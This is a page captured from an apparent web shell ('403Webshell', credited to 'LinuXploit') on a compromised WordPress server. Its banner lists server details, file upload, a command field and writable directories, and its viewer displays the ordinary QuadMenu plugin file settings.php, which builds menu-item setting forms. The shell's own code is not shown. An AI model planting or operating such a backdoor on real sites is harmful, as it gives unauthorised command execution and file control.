403Webshell
Server IP : _  /  Your IP : 169.254.129.1
Web Server : nginx/1.28.0
System : Linux 89e302d72aa1 6.6.143.1-1.azl3 #1 SMP PREEMPT_DYNAMIC Mon Jul 6 04:01:14 UTC 2026 x86_64
User : nginx ( 103)
PHP Version : 8.2.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/wordpress/wp-content/plugins/quadmenu/includes/backend/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/wordpress/wp-content/plugins/quadmenu/includes/backend/settings.php
<?php
if (!defined('ABSPATH')) {
  die('-1');
}

class QuadMenu_Settings extends QuadMenu_Configuration {

  public $tabs;
  public $panels = array();

  public function __construct() {

    add_action('quadmenu_modal_panels', array($this, 'panels'), 10, 4);

    add_action('wp_ajax_quadmenu_add_nav_menu_item_panel', array($this, 'ajax_add_nav_menu_item_panel'));
  }

  public function get_children_nav_menu_items($menu_id, $parent_menu_item_id) {

    $childrens = array();

    // check we're using a valid menu ID
    if (!is_nav_menu($menu_id)) {
      return $childrens;
    }

    if (is_array($menu = $this->wp_get_nav_menu_items($menu_id)) && count($menu)) {

      foreach ($menu as $item) {

        // find the child menu items
        if ($parent_menu_item_id == $item->menu_item_parent) {

          $childrens[$item->ID] = array(
              'id' => $item->ID,
              'title' => $item->title,
          );
        }
      }
    }

    return $childrens;
  }

  function wp_get_nav_menu_items($menu_id) {

    $quadmenu_menu_items = wp_cache_get("wp_get_nav_menu_items_{$menu_id}", 'quadmenu');

    if ($quadmenu_menu_items === false) {

      $quadmenu_menu_items = wp_get_nav_menu_items($menu_id);

      wp_cache_set("wp_get_nav_menu_items_{$menu_id}", $quadmenu_menu_items, 'quadmenu');
    }

    return $quadmenu_menu_items;
  }

  public function nav_menu_item_settings($setting, $item) {

    $type = $setting['type'];

    //$desc = isset($setting['desc']) ? '<span class="quadmenu-menu-item-setting-description">' . $setting['desc'] . '</span>' : '';
    //$tip = isset($setting['tip']) ? '<div class="quadmenu-menu-item-setting-tip"><i class="tip-icon"></i> ' . $setting['tip'] . '</div>' : '';

    $value = $item->{$setting['db']};

    $id = 'menu-item-' . $setting['db'];

    $name = 'menu-item-' . $setting['id'];

    $class = 'menu-item-quadmenu-setting ' . $id;

    $ops = '';

    if (isset($setting['ops'])) {
      $ops = $setting['ops'];
      if (!is_array($ops) && function_exists($ops)) {
        if (isset($setting['ops_args'])) {
          $ops = $ops($setting['ops_args']);
        } else
          $ops = $ops();
      }
    }

    switch ($type) {

      case 'checkbox':
        ?>
        <label class="multicheck-label">
          <input type="checkbox" id="<?php echo esc_attr($id); ?>" class="<?php echo esc_attr($class); ?>" name="<?php echo esc_attr($name); ?>" value="<?php echo esc_attr($ops ? $ops : 'on'); ?>" <?php echo checked($value, $ops ? $ops : 'on'); ?> />
          <?php echo esc_html($setting['placeholder']); ?>
        </label>
        <?php
        break;

      case 'multicheck':
        ?>
        <span class="field-wrapper">
          <?php
          $value = is_array($value) ? $value : array();

          foreach ($ops as $_val => $_name):
            ?>
            <label class="multicheck-label" title="<?php echo esc_html($_val); ?>" >
              <input type="checkbox" id="<?php echo esc_attr($id); ?>" class="<?php echo esc_attr($class); ?> checkbox multicheckbox" name="<?php echo esc_attr($name . '[]'); ?>" value="<?php echo esc_html($_val); ?>" <?php echo checked(in_array($_val, $value)); ?>  />
              <?php echo esc_html($_name); ?>
            </label>
          <?php endforeach; ?>
        </span>
        <?php
        break;

      case 'text':
        if (is_array($value)) {
          $value = implode(' ', $value);
        }
        ?>
        <input type="text" id="<?php echo esc_attr($id); ?>" class="<?php echo esc_attr($class); ?>" name="<?php echo esc_attr($name); ?>" placeholder="<?php echo esc_html($setting['placeholder']); ?>" value="<?php echo esc_html($value); ?>" />
        <?php
        break;

      case 'number':
        if (is_array($value)) {
          $value = implode(' ', $value);
        }
        ?>
        <input type="number" step="<?php echo esc_attr($ops['step']); ?>" min="<?php echo esc_attr($ops['min']); ?>" max="<?php echo esc_attr($ops['max']); ?>" id="<?php echo esc_attr($id); ?>" class="<?php echo esc_attr($class); ?>" name="<?php echo esc_attr($name); ?>" value="<?php echo esc_html($value); ?>" />
        <?php
        break;

      case 'hidden':
        ?>
        <input type="hidden" id="<?php echo esc_attr($id); ?>" class="<?php echo esc_attr($class); ?> checkbox multicheckbox" name="<?php echo esc_attr($name); ?>" value="<?php echo esc_html($value); ?>" />
        <?php
        break;

      case 'textarea':
        ?>
        <textarea id="<?php echo esc_attr($id); ?>" class="<?php echo esc_attr($class); ?>" name="<?php echo esc_attr($name); ?>"><?php echo esc_html($value); ?></textarea>
        <?php
        break;

      case 'select':
        ?>
        <select id="<?php echo esc_attr($id); ?>" class="<?php echo esc_attr($class); ?>" name="<?php echo esc_attr($name); ?>" >
          <?php foreach ($ops as $_val => $_name): ?>
            <option value="<?php echo esc_html($_val); ?>" <?php selected($value, $_val); ?> ><?php echo $_name; ?></option>
          <?php endforeach; ?>
        </select>
        <?php
        break;

      case 'radio':
        ?>
        <span class="field-wrapper">
          <?php foreach ($ops as $_val => $_name): ?>
            <label class="radio-label" title="<?php echo esc_html($_val); ?>" >
              <input id="<?php echo esc_attr($id); ?>" class="<?php echo esc_attr($class); ?>" type="radio" name="<?php echo esc_attr($name); ?>" value="<?php echo esc_html($_val); ?>" <?php echo checked($value, $_val); ?>  />
              <?php echo esc_html($_name); ?>
            </label>
          <?php endforeach; ?>
        </span>
        <?php
        break;

      case 'width':

        extract($ops);
        ?>
        <div class="quadmenu-setting-width-icons">
          <div>
            <span class="title">#</span>
          </div>
          <?php
          if (!empty($icons)):
            foreach ($icons as $size) :
              ?>
              <div class="<?php echo esc_attr($size); ?>"><i></i></div>
              <?php
            endforeach;
          endif;
          ?>
        </div>
        <?php if (!empty($columns)): ?>
          <div class="quadmenu-setting-width-columns">
            <div class="col">
              <span class="title"><?php esc_html_e('Width', 'quadmenu'); ?></span>
            </div>
            <?php
            foreach ($columns as $size) :

              if ($size != '') {
                $size = '-' . $size;
              }
              ?>
              <div class="col<?php echo esc_attr($size) ?>">
                <select id="menu-item-width<?php echo esc_attr($size); ?>-columns" class="menu-item-quadmenu-setting menu-item-columns<?php echo esc_attr($size); ?>" name="menu-item-quadmenu-settings[columns][]">
                  <?php //if ($size != ''):        ?>
                  <option value="">
                    <?php esc_html_e('Inherit from smaller', 'quadmenu'); ?>
                  </option>
                  <?php //endif;       ?>
                  <?php
                  for ($i = 1; $i <= 12; $i++) :
                    $current = 'col' . $size . '-' . $i;
                    ?>
                    <option value="<?php echo esc_attr($current); ?>" <?php selected(true, in_array(sanitize_key($current), str_replace('col-xs-', 'col-', $value))); ?>>
                      <?php printf(esc_html('%1$s column', 'quadmenu'), $i); ?>
                    </option>
                  <?php endfor; ?>
                </select>
              </div>
            <?php endforeach; ?>
          </div>
        <?php endif; ?>
        <?php if (!empty($offset)): ?>
          <div class="quadmenu-setting-width-offset">
            <div>
              <span class="title"><?php esc_html_e('Offset', 'quadmenu'); ?></span>
            </div>
            <?php foreach ($offset as $size) : ?>
              <div class="<?php echo esc_attr($size) ?>">
                <select id="menu-item-width-<?php echo esc_attr($size); ?>-offset" class="menu-item-quadmenu-setting menu-item-offset-<?php echo esc_attr($size); ?>" name="menu-item-quadmenu-settings[columns][]">
                  <option value="">
                    <?php esc_html_e('Inherit from smaller', 'quadmenu'); ?>
                  </option>
                  <?php
                  for ($i = 1; $i <= 12; $i++) :
                    $current = 'offset-' . $size . '-' . $i;
                    ?>
                    <option value="<?php echo esc_attr($current); ?>" <?php selected(true, in_array(sanitize_key($current), $value)); ?>>
                      <?php printf(esc_html('%1$s column', 'quadmenu'), $i); ?>
                    </option>
                  <?php endfor; ?>
                </select>
              </div>
            <?php endforeach; ?>
          </div>
        <?php endif; ?>
        <?php if (!empty($hidden)): ?>
          <div class="quadmenu-setting-width-hidden">
            <div>
              <span class="title"><?php esc_html_e('Hidden', 'quadmenu'); ?></span>
            </div>
            <?php
            foreach ($hidden as $size) :
              $current = 'hidden-' . $size;
              ?>
              <div class="<?php echo esc_attr($size) ?>">
                <input type="checkbox" id="menu-item-width-<?php echo esc_attr($size); ?>-hidden" class="menu-item-quadmenu-setting menu-item-hidden-<?php echo esc_attr($size); ?> checkbox multicheckbox" name="menu-item-quadmenu-settings[columns][]" value="<?php echo esc_attr($current); ?>" <?php checked(true, in_array(sanitize_key($current), $value)); ?>>
              </div>
            <?php endforeach; ?>
          </div>
        <?php endif; ?>
        <?php
        break;

      case 'icon':
        ?>
        <div class="quadmenu-setting">
          <label>
            <span class="title"><?php esc_html_e('Icon', 'quadmenu'); ?></span>
            <input type="text" id="<?php echo esc_attr($id); ?>" class="<?php echo esc_attr($class); ?>" name="<?php echo esc_attr($name); ?>" value="<?php echo esc_html($value); ?>"/>
          </label>
        </div>
        <div class="quadmenu-setting">
          <div class="quadmenu-icons-search">
            <span class="button-icon button-secondary" class="button"><i class="<?php echo esc_html($value); ?>"></i><?php echo _QuadMenu()->selected_icons()->name; ?></span>
            <input type="search" value="" placeholder="<?php echo esc_html($setting['placeholder']); ?>"/>                        
          </div>
          <div class="quadmenu-icons-scroll">
            <?php foreach (explode(',', _QuadMenu()->selected_icons()->iconmap) as $icon) : ?>
              <a style="display: block;" class="icon _<?php echo esc_attr(str_replace(' ', '_', trim($icon))); ?>"><i class="<?php echo esc_attr($icon); ?>"></i></a>
            <?php endforeach; ?>
            <div class="clearfix"></div>
          </div> 
        </div>
        <?php
        break;

      case 'background':

        $defaults = array(
            'thumbnail-id' => 0,
            'size' => '',
            'position' => '',
            'repeat' => '',
            'origin' => 'border-box',
            'opacity' => 1,
        );

        $value = wp_parse_args($value, $defaults);

        $_src = !empty($value['thumbnail-id']) ? wp_get_attachment_image_src($value['thumbnail-id'], 'thumbnail') : false;
        $_url = !empty($value['thumbnail-id']) ? wp_get_attachment_image_src($value['thumbnail-id'], 'full') : false;

        $have_media =  isset($_src[0]) && strlen($_src[0]) > 0 ? 'active' : '' ;
        ?>
        <span class="field-background" 
              style="
              background-image: url(<?php echo esc_attr(isset($_url[0])? $_url[0]: ''); ?>);
              background-size: <?php echo esc_attr($value['size']); ?>;
              background-repeat: <?php echo esc_attr($value['repeat']); ?>;
              background-position: <?php echo esc_attr($value['position']); ?>;
              background-origin: <?php echo esc_attr($value['origin']); ?>;
              opacity: <?php echo esc_attr($value['opacity']); ?>;
              "></span>
        <span class="field-wrapper <?php echo esc_attr($have_media); ?>">
          <span class="edit-menu-item-media-thumbnail">
            <?php if ($have_media): ?>
              <img src="<?php echo esc_attr($_src[0]); ?>" width="50" height="50" id="mega-media-thumbnail-menu-item-<?php echo esc_attr($item->ID); ?>" title="menu-item-<?php echo esc_attr($item->ID); ?>-media" alt="menu-item-<?php echo esc_attr($item->ID); ?>-media">
            <?php endif ?>
          </span>
          <input type="hidden" id="edit-menu-item-media-thumbnail-id-<?php echo esc_attr($item->ID); ?>" class="<?php echo esc_attr($class); ?> edit-menu-item-media-thumbnail-id" name="<?php echo esc_attr($name . '[thumbnail-id]'); ?>" value="<?php echo esc_attr($value['thumbnail-id']); ?>" />
          <span class="edit-menu-item-media-text"><?php esc_html_e('Select media image', 'quadmenu'); ?></span>
          <a id="<?php echo esc_attr($item->ID); ?>" class="menu-item-media-upload" href="javascript:void(0)"><?php esc_html_e('Edit', 'quadmenu'); ?></a>
          <a id="<?php echo esc_attr($item->ID); ?>" class="menu-item-media-clear" href="javascript:void(0)" ><?php esc_html_e('Remove', 'quadmenu'); ?></a>
          <div class="clearfix"></div>                 
          <label class="setting">
            <b><?php esc_html_e('Opacity', 'quadmenu'); ?></b>
            <input type="number" step="1" min="1" max="100" id="edit-menu-item-background-opacity-<?php echo esc_attr($item->ID); ?>" class="<?php echo esc_attr($class); ?> edit-menu-item-background-opacity" name="<?php echo esc_attr($name . '[opacity]'); ?>" value="<?php echo esc_attr($value['opacity']); ?>"/>               
          </label>
          <label class="setting">
            <b><?php esc_html_e('Position', 'quadmenu'); ?></b>
            <select id="edit-menu-item-background-position-<?php echo esc_attr($item->ID); ?>" class="<?php echo esc_attr($class); ?> edit-menu-item-background-position" name="<?php echo esc_attr($name . '[position]'); ?>">
              <option value="left top" <?php selected('left top', $value['position']); ?>>left top</option>
              <option value="left center" <?php selected('left center', $value['position']); ?>>left center</option>
              <option value="left bottom" <?php selected('left bottom', $value['position']); ?>>left bottom</option>
              <option value="right top" <?php selected('right top', $value['position']); ?>>right top</option>
              <option value="right center" <?php selected('right center', $value['position']); ?>>right center</option>
              <option value="right bottom" <?php selected('right bottom', $value['position']); ?>>right bottom</option>
              <option value="center top" <?php selected('center top', $value['position']); ?>>center top</option>
              <option value="center center" <?php selected('center center', $value['position']); ?>>center center</option>
              <option value="center bottom" <?php selected('center bottom', $value['position']); ?>>center bottom</option>
            </select>
          </label>
          <label class="setting">
            <b><?php esc_html_e('Repeat', 'quadmenu'); ?></b>
            <select id="edit-menu-item-background-repeat-<?php echo esc_attr($item->ID); ?>" class="<?php echo esc_attr($class); ?> edit-menu-item-background-repeat" name="<?php echo esc_attr($name . '[repeat]'); ?>">
              <option value="repeat" <?php selected('repeat', $value['repeat']); ?>>repeat</option>
              <option value="no-repeat" <?php selected('no-repeat', $value['repeat']); ?>>no-repeat</option>
            </select>
          </label>
          <label class="setting">
            <b><?php esc_html_e('Size', 'quadmenu'); ?></b>
            <select id="edit-menu-item-background-size-<?php echo esc_attr($item->ID); ?>" class="<?php echo esc_attr($class); ?> edit-menu-item-background-size" name="<?php echo esc_attr($name . '[size]'); ?>" value="<?php echo esc_attr($value['size']); ?>">               
              <option value="auto" <?php selected('auto', $value['size']); ?>>auto</option>
              <option value="cover" <?php selected('cover', $value['size']); ?>>cover</option>
              <option value="contain" <?php selected('contain', $value['size']); ?>>contain</option>
            </select>
          </label>           
          <label class="setting">
            <b><?php esc_html_e('Origin', 'quadmenu'); ?></b>
            <select id="edit-menu-item-background-origin-<?php echo esc_attr($item->ID); ?>" class="<?php echo esc_attr($class); ?> edit-menu-item-background-origin" name="<?php echo esc_attr($name . '[origin]'); ?>" value="<?php echo esc_attr($value['origin']); ?>">               
              <option value="content-box" <?php selected('content-box', $value['origin']); ?>>Boxed</option>
              <option value="border-box" <?php selected('border-box', $value['origin']); ?>>Stretch</option>
            </select>
          </label>
          <div class="clearfix"></div>  
        </span>
        <?php
        break;

      case 'media':

        $_src = !empty($value['thumbnail-id']) ? wp_get_attachment_image_src($value['thumbnail-id'], 'thumbnail') : false;

        $have_media = ( strlen($_src[0]) > 0 ? 'active' : '' );
        ?>
        <span class="field-wrapper <?php echo esc_attr($have_media); ?>">
          <span class="edit-menu-item-media-thumbnail">
            <?php if ($have_media): ?>
              <img src="<?php echo esc_attr($_src[0]); ?>" width="50" height="50" id="mega-media-thumbnail-menu-item-<?php echo esc_attr($item->ID); ?>" title="menu-item-<?php echo esc_attr($item->ID); ?>-media" alt="menu-item-<?php echo esc_attr($item->ID); ?>-media">
            <?php endif ?>
          </span>
          <span class="edit-menu-item-media-text"><?php esc_html_e('Select media image', 'quadmenu'); ?></span>
          <a id="<?php echo esc_attr($item->ID); ?>" class="menu-item-media-upload" href="javascript:void(0)"><?php esc_html_e('Edit', 'quadmenu'); ?></a>
          <a id="<?php echo esc_attr($item->ID); ?>" class="menu-item-media-clear" href="javascript:void(0)" ><?php esc_html_e('Remove', 'quadmenu'); ?></a>
          <span class="edit-menu-item-media-css"><?php
            if ($have_media): echo $value['position'] . ',' . $value['repeat'] . ',' . $value['attachment'] . ',' . $value['size'];
            endif
            ?>
          </span>                        
          <input type="hidden" id="edit-menu-item-media-thumbnail-id-<?php echo esc_attr($item->ID); ?>" class="<?php echo esc_attr($class); ?> edit-menu-item-media-thumbnail-id" name="<?php echo esc_attr($name . '[thumbnail-id]'); ?>" value="<?php echo esc_attr($value['thumbnail-id']); ?>" />
          <input type="hidden" id="edit-menu-item-media-position-<?php echo esc_attr($item->ID); ?>" class="<?php echo esc_attr($class); ?> edit-menu-item-media-position" name="<?php echo esc_attr($name . '[position]'); ?>" value="<?php echo esc_attr($value['position']); ?>" />
          <input type="hidden" id="edit-menu-item-media-repeat-<?php echo esc_attr($item->ID); ?>" class="<?php echo esc_attr($class); ?> edit-menu-item-media-repeat" name="<?php echo esc_attr($name . '[repeat]'); ?>" value="<?php echo esc_attr($value['repeat']); ?>" />
          <input type="hidden" id="edit-menu-item-media-attachment-<?php echo esc_attr($item->ID); ?>" class="<?php echo esc_attr($class); ?> edit-menu-item-media-attachment" name="<?php echo esc_attr($name . '[attachment]'); ?>" value="<?php echo esc_attr($value['attachment']); ?>" />
          <input type="hidden" id="edit-menu-item-media-size-<?php echo esc_attr($item->ID); ?>" class="<?php echo esc_attr($class); ?> edit-menu-item-media-size" name="<?php echo esc_attr($name . '[size]'); ?>" value="<?php echo esc_attr($value['size']); ?>" />         </span>
        <?php
        break;

      default:
        printf(esc_html__('Unknown field %s.', 'quadmenu'), $type);
    }

    //echo $desc;
    //echo $tip;
  }

  public function form($menu_obj, $menu_item_depth = 0, $settings = array()) {

    $fields = $this->nav_menu_item_fields($menu_obj);
    ob_start();

    if (in_array($menu_obj->object, array('search', 'cart', 'login', 'column'))) {
      $settings = array_diff($settings, array('url', 'target', 'xfn', 'description'));
    }
    if (in_array($menu_obj->type, array('taxonomy', 'post_type', 'post_type_archive'))) {    
      $settings = array_diff($settings, array('url'));
    }
    ?>
    <form id="form_<?php echo esc_attr($menu_obj->quadmenu); ?>_<?php echo esc_attr($menu_obj->ID); ?>" class="form-<?php echo esc_attr($menu_obj->quadmenu); ?>" data-menu_item_id="<?php echo esc_attr($menu_obj->ID); ?>" data-menu_item_depth="<?php echo esc_attr($menu_item_depth); ?>">
      <?php
      foreach ($settings as $key):

        $classes = array();

        $classes[] = 'quadmenu-setting';

        $classes[] = 'quadmenu-setting-' . $fields[$key]['type'];

        $classes[] = 'quadmenu-setting-' . $fields[$key]['db'];

        if (isset($fields[$key]['depth'])) {

          if (is_array($fields[$key]['depth'])) {

            foreach ($fields[$key]['depth'] as $depth) {

              $classes[] = 'quadmenu-setting-depth-' . $depth;
            }
          } else {

            $classes[] = 'quadmenu-setting-depth-' . $fields[$key]['depth'];
          }
        }
        ?>
        <div class="<?php echo join(' ', array_map('sanitize_html_class', $classes)); ?>">
          <label>
            <?php if (!empty($fields[$key]['title'])) : ?>
              <span class="title"><?php echo esc_html($fields[$key]['title']); ?></span>
            <?php endif; ?>
            <?php $this->nav_menu_item_settings($fields[$key], $menu_obj); ?>
            <?php if (!empty($fields[$key]['desc'])) : ?>
              <span class="description"><?php echo esc_html($fields[$key]['desc']); ?></span>
            <?php endif; ?>
          </label>
        </div>
      <?php endforeach;
      ?>
    </form>
    <?php
    return ob_get_clean();
  }

  public function ajax_add_nav_menu_item_panel() {

    if (!check_ajax_referer('quadmenu', 'nonce', false)) {
      QuadMenu::send_json_error(esc_html__('Please reload page.', 'quadmenu'));
    }

    $panel = sanitize_text_field($_REQUEST['menu_item_panel']);

    $menu_item_id = absint($_REQUEST['menu_item_id']);

    $menu_id = absint($_REQUEST['menu_id']);

    if (ob_get_contents())
      ob_clean();

    $menu_obj = QuadMenu::wp_setup_nav_menu_item($menu_item_id);

    $items = QuadMenu_Configuration::custom_nav_menu_items();

    if (!$settings = $items->{$menu_obj->quadmenu}->panels->$panel->settings) {
      QuadMenu::send_json_error(json_encode($menu_obj));
    }

    if ($form = $this->form($menu_obj, 0, $settings)) {
      QuadMenu::send_json_success($form);
    } else {
      QuadMenu::send_json_error(json_encode($menu_obj));
    }

    wp_die();
  }

  public function panels($menu_item_depth, $menu_obj, $menu_id) {

    $items = QuadMenu_Configuration::custom_nav_menu_items();

    $this->panels = $items->{$menu_obj->quadmenu}->panels;
    ?>
    <ul role="tablist" id="settings_<?php echo esc_attr($menu_obj->ID); ?>" class="quadmenu-tabs vertical">
      <li class="active"><a href="#setting_default_<?php echo esc_attr($menu_obj->ID); ?>" data-quadmenu="tab"><i class="dashicons dashicons-menu"></i><span class="title"><?php echo esc_html('Default', 'quadmenu'); ?></span></a></li>
      <?php foreach ($this->panels as $key => $panel) : ?>
        <?php
        $classes = array();

        if (isset($panel->depth)) {
          foreach ($panel->depth as $depth) {
            $classes[] = 'quadmenu-panel-depth-' . $depth;
          }
        }

        $classes[] = 'quadmenu-panel-' . $key;
        ?>
        <li class="<?php echo join(' ', array_map('sanitize_html_class', $classes)); ?>" data-menu_item_id="<?php echo esc_attr($menu_obj->ID); ?>" data-menu_item_panel="<?php echo esc_attr($key); ?>"><a class="<?php echo esc_attr($key); ?>" href="#setting_<?php echo esc_attr($key); ?>_<?php echo esc_attr($menu_obj->ID); ?>" data-quadmenu="tab"><i class="<?php echo esc_attr($panel->icon); ?>"></i><span class="title"><?php echo esc_html($panel->title); ?></span></a></li>
        <?php $this->panels->{$key} = $panel->settings; ?>
      <?php endforeach; ?>
      <?php do_action('quadmenu_modal_panels_tab', $menu_item_depth, $menu_obj, $menu_id); ?>
    </ul>
    <div class="quadmenu-tabs-content<?php //echo join(' ', array_map('sanitize_html_class', $classes));                         ?>">
      <div role="tabpanel" class="quadmenu-tab-pane quadmenu-tab-pane-default active" id="setting_default_<?php echo esc_attr($menu_obj->ID); ?>">
        <?php echo $this->form($menu_obj, 0, array('url', 'target', 'title', 'attr-title', 'classes', 'xfn', 'description')); ?>
      </div>
      <?php foreach ($this->panels as $key => $settings) : ?>
        <div role="tabpanel" class="quadmenu-tab-pane quadmenu-tab-pane-<?php echo esc_attr($key); ?> fade" id="setting_<?php echo esc_attr($key); ?>_<?php echo esc_attr($menu_obj->ID); ?>">
          <span class="spinner"></span>
        </div>
      <?php endforeach; ?>
      <?php do_action('quadmenu_modal_panels_pane', $menu_item_depth, $menu_obj, $menu_id); ?>
    </div>
    <?php
  }

}

new QuadMenu_Settings();

Youez - 2016 - github.com/yon3zu
LinuXploit